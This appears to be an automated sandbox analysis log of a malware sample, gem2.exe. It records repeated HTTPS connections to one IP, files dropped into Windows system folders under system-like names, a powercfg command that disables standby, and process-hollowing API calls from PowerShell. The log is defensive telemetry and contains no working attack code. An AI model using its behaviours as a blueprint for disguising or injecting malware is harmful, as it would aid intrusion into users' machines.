Source: unknown	Network traffic detected: HTTP traffic on port 50375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50292

Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.7:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50280 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50302 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50368 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50390 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50423 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50456 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50500 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50512 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50523 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50554 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50596 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50595 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50614 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50621 version: TLS 1.2

Source: C:\Windows\System32\svchost.exe

Code function: 16_2_00000173D0162B80 CryptAcquireContextW,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

16_2_00000173D0162B80

System Summary

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\powercfg.exe powercfg -change standby-timeout-ac 0

Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3B7E0 NtFlushProcessWriteBuffers,	16_2_00000173CFC3B7E0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D16320A0 shared_ptr,GetModuleHandleW,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,shared_ptr,GetProcAddress,GetCurrentProcessId,OpenProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,GetWindowsDirectoryW,GetModuleFileNameW,ReadProcessMemory,ReadProcessMemory,CloseHandle,	17_2_00007FF7D16320A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC86DF98 NtUnmapViewOfSection,	31_2_00007FFAAC86DF98
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC870F20 NtSetContextThread,	31_2_00007FFAAC870F20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC870C5D NtWriteVirtualMemory,	31_2_00007FFAAC870C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC870FE4 NtResumeThread,	31_2_00007FFAAC870FE4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC870A3E NtUnmapViewOfSection,	31_2_00007FFAAC870A3E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC86E078 NtUnmapViewOfSection,	31_2_00007FFAAC86E078

Source: C:\Users\user\Desktop\gem2.exe	File created: C:\Windows\System32\System-f4855f59e0.exe	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	File created: C:\Windows\SysWOW64\$LMX-f4855f59e0.exe	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	File created: C:\Windows\Logs\ReAgent	Jump to behavior
Source: C:\Windows\System32\ReAgentc.exe	File created: C:\Windows\Logs\ReAgent\ReAgent.log	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_bo4wcxbo.2zy.ps1

Jump to behavior

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_3_000001F5A965CC80	9_3_000001F5A965CC80
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_3_000001F5A9663448	9_3_000001F5A9663448
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_3_000001F5A96521DC	9_3_000001F5A96521DC
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_000001F5A968D880	9_2_000001F5A968D880
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_000001F5A9694048	9_2_000001F5A9694048
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_000001F5A9682DDC	9_2_000001F5A9682DDC
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54BA6B4	14_2_00007FF6A54BA6B4
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E4724	14_2_00007FF6A54E4724
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54DA6D4	14_2_00007FF6A54DA6D4
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54F5598	14_2_00007FF6A54F5598
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54BE550	14_2_00007FF6A54BE550
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54DB55C	14_2_00007FF6A54DB55C
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FB848	14_2_00007FF6A54FB848
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54BE844	14_2_00007FF6A54BE844
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E4928	14_2_00007FF6A54E4928
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54C28E0	14_2_00007FF6A54C28E0
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54C0744	14_2_00007FF6A54C0744
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54A6760	14_2_00007FF6A54A6760
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54D975C	14_2_00007FF6A54D975C
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54BE288	14_2_00007FF6A54BE288
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A5503308	14_2_00007FF6A5503308
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54EF2C8	14_2_00007FF6A54EF2C8
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54B717C	14_2_00007FF6A54B717C
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E4520	14_2_00007FF6A54E4520
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54B5378	14_2_00007FF6A54B5378
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E5420	14_2_00007FF6A54E5420
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E73BC	14_2_00007FF6A54E73BC
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54CAE84	14_2_00007FF6A54CAE84
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54C1E6C	14_2_00007FF6A54C1E6C
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54F6F10	14_2_00007FF6A54F6F10
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FCBD8	14_2_00007FF6A54FCBD8
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A5500EC0	14_2_00007FF6A5500EC0
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E5EEC	14_2_00007FF6A54E5EEC
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54D7D98	14_2_00007FF6A54D7D98
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54C8E10	14_2_00007FF6A54C8E10
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FAE28	14_2_00007FF6A54FAE28
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E6DD0	14_2_00007FF6A54E6DD0
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E5088	14_2_00007FF6A54E5088
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54B9077	14_2_00007FF6A54B9077
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FB0A4	14_2_00007FF6A54FB0A4
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FF070	14_2_00007FF6A54FF070
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E9064	14_2_00007FF6A54E9064
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54F5104	14_2_00007FF6A54F5104
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54A6120	14_2_00007FF6A54A6120
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54CD0DC	14_2_00007FF6A54CD0DC
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54EAF90	14_2_00007FF6A54EAF90
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54BF01C	14_2_00007FF6A54BF01C
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54D8FC7	14_2_00007FF6A54D8FC7
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54EEA8C	14_2_00007FF6A54EEA8C
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54F7A88	14_2_00007FF6A54F7A88
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E5AB4	14_2_00007FF6A54E5AB4
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54EDA50	14_2_00007FF6A54EDA50
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54CFAF8	14_2_00007FF6A54CFAF8
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54CBB28	14_2_00007FF6A54CBB28
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54D4988	14_2_00007FF6A54D4988
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54CC9A8	14_2_00007FF6A54CC9A8
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54F1968	14_2_00007FF6A54F1968
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54CED18	14_2_00007FF6A54CED18
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54B5CEC	14_2_00007FF6A54B5CEC
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54D3CDC	14_2_00007FF6A54D3CDC
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54F0BAC	14_2_00007FF6A54F0BAC
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FDB60	14_2_00007FF6A54FDB60
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E8B58	14_2_00007FF6A54E8B58
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54D2BFC	14_2_00007FF6A54D2BFC
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54C7C30	14_2_00007FF6A54C7C30
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54F5C18	14_2_00007FF6A54F5C18
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FCBD8	14_2_00007FF6A54FCBD8
Source: C:\Windows\System32\svchost.exe	Code function: 16_3_00000173D0393448	16_3_00000173D0393448
Source: C:\Windows\System32\svchost.exe	Code function: 16_3_00000173D038CC80	16_3_00000173D038CC80
Source: C:\Windows\System32\svchost.exe	Code function: 16_3_00000173D03821DC	16_3_00000173D03821DC
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC0F8D0	16_2_00000173CFC0F8D0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC336D0	16_2_00000173CFC336D0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC23E70	16_2_00000173CFC23E70
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC262FC	16_2_00000173CFC262FC
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC1A2B0	16_2_00000173CFC1A2B0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC23A60	16_2_00000173CFC23A60
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3EE76	16_2_00000173CFC3EE76
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC25A28	16_2_00000173CFC25A28
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3EE76	16_2_00000173CFC3EE76
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC201E0	16_2_00000173CFC201E0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3EE76	16_2_00000173CFC3EE76
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC21874	16_2_00000173CFC21874
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC0E830	16_2_00000173CFC0E830
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3EE76	16_2_00000173CFC3EE76
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3A7A8	16_2_00000173CFC3A7A8
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC0D7C0	16_2_00000173CFC0D7C0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC0C770	16_2_00000173CFC0C770
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC31F80	16_2_00000173CFC31F80
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC18750	16_2_00000173CFC18750
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3AEB0	16_2_00000173CFC3AEB0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC386B8	16_2_00000173CFC386B8
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3EE76	16_2_00000173CFC3EE76
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3EE76	16_2_00000173CFC3EE76
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC23650	16_2_00000173CFC23650
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC1D5A0	16_2_00000173CFC1D5A0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC1F5A0	16_2_00000173CFC1F5A0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC1ED70	16_2_00000173CFC1ED70
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3EE76	16_2_00000173CFC3EE76
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3EE76	16_2_00000173CFC3EE76
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC1C410	16_2_00000173CFC1C410
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC18BD0	16_2_00000173CFC18BD0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC1B360	16_2_00000173CFC1B360
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC24B60	16_2_00000173CFC24B60
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC3938C	16_2_00000173CFC3938C
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01B04A6	16_2_00000173D01B04A6
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01749E0	16_2_00000173D01749E0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01A6B50	16_2_00000173D01A6B50
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D019FE30	16_2_00000173D019FE30
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D019A3A0	16_2_00000173D019A3A0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D018A4A4	16_2_00000173D018A4A4
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01A74F0	16_2_00000173D01A74F0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D018B4E0	16_2_00000173D018B4E0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D018F500	16_2_00000173D018F500
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01A8670	16_2_00000173D01A8670
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01816F0	16_2_00000173D01816F0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D018C7B0	16_2_00000173D018C7B0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D018AA52	16_2_00000173D018AA52
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D017BA40	16_2_00000173D017BA40
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01A2B60	16_2_00000173D01A2B60
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D0162B80	16_2_00000173D0162B80
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D0161C30	16_2_00000173D0161C30
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D0163D50	16_2_00000173D0163D50
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01A3D80	16_2_00000173D01A3D80
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D019CDD0	16_2_00000173D019CDD0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D018BE30	16_2_00000173D018BE30
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01ACEC0	16_2_00000173D01ACEC0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D016EFC0	16_2_00000173D016EFC0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D0163FE0	16_2_00000173D0163FE0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01A00D0	16_2_00000173D01A00D0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D015F0C0	16_2_00000173D015F0C0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D03C4048	16_2_00000173D03C4048
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D03BD880	16_2_00000173D03BD880
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D03B2DDC	16_2_00000173D03B2DDC
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D164E288	17_2_00007FF7D164E288
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1693308	17_2_00007FF7D1693308
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D167F2C8	17_2_00007FF7D167F2C8
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D164717C	17_2_00007FF7D164717C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1636120	17_2_00007FF7D1636120
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1675420	17_2_00007FF7D1675420
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1645378	17_2_00007FF7D1645378
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D16773BC	17_2_00007FF7D16773BC
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D166A6D4	17_2_00007FF7D166A6D4
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D164A6B4	17_2_00007FF7D164A6B4
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D166B55C	17_2_00007FF7D166B55C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D164E550	17_2_00007FF7D164E550
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1674520	17_2_00007FF7D1674520
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1685598	17_2_00007FF7D1685598
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168B848	17_2_00007FF7D168B848
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D164E844	17_2_00007FF7D164E844
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D16528E0	17_2_00007FF7D16528E0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D166975C	17_2_00007FF7D166975C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1636760	17_2_00007FF7D1636760
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1650744	17_2_00007FF7D1650744
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1674724	17_2_00007FF7D1674724
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D167EA8C	17_2_00007FF7D167EA8C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1687A88	17_2_00007FF7D1687A88
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D167DA50	17_2_00007FF7D167DA50
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D165FAF8	17_2_00007FF7D165FAF8
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1675AB4	17_2_00007FF7D1675AB4
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1664988	17_2_00007FF7D1664988
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1681968	17_2_00007FF7D1681968
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1674928	17_2_00007FF7D1674928
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D165C9A8	17_2_00007FF7D165C9A8
